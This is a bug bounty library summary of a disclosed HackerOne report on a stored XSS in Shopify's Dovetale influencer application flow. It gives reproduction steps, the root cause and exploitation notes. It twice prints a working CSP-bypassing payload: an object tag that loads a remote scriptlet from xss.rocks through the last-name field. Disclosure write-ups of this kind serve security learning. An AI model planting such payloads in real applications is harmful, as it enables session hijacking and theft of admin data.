# Stored XSS in Dovetale by application of creator

Attacker-supplied creator last name stored unsanitized and rendered in admin approval flow, executing stored XSS via object tag that bypassed CSP.

- Payout: $1,600
- Severity: medium
- Program: Shopify
- Found by: kun_19
- Disclosed: 2022-11-29
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1652046
- Library page: https://bugbountylibrary.com/r/h1%3A1652046
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:rest technique:chained vuln:xss

**Target:** Dovetale influencer application admin review/approval flow
**Root cause:** Applicant-supplied profile fields (last name) are stored and later rendered into the admin's welcome-email review page without sanitization; the object tag bypasses the page CSP.
**Steps:**
1. Victim installs Dovetale app, links store, creates ambassador application page and copies link.
2. Attacker opens application link, applies with an Instagram account.
3. In last name field submit `<object type="text/x-scriptlet" data="https://xss.rocks/scriptlet.html"></object>`, finish and verify email.
4. Victim sees application, clicks Approve, proceeds to create welcome email (payload sanitized in editor).
5. Victim clicks Next Welcome package > Next Review; payload renders and JS executes.
**How found:** Researcher reasoned that influencer-supplied application fields flow into the brand admin's UI, and tested payload placement in profile fields; noted the email editor sanitized input but the review step re-rendered it, and chose an object tag to evade the CSP.
**Exploitation:** Attacker submits a malicious application; when the brand admin approves and navigates the welcome-package review step, the stored object tag loads a remote scriptlet and executes JS in the admin's session, enabling data exfiltration and CSRF token theft.
**Insight:** When a sanitizer blocks payloads in one view, check other views that re-render the same stored data (e.g. review/preview steps); object/scriptlet tags can bypass CSPs that only restrict script-src.

## Proof of concept (copied exactly from the original report)

**XSS payload in last name field**

```
Use for your last name the XSS payload `<object type="text/x-scriptlet" data="https://xss.rocks/scriptlet.html"></object>`
```

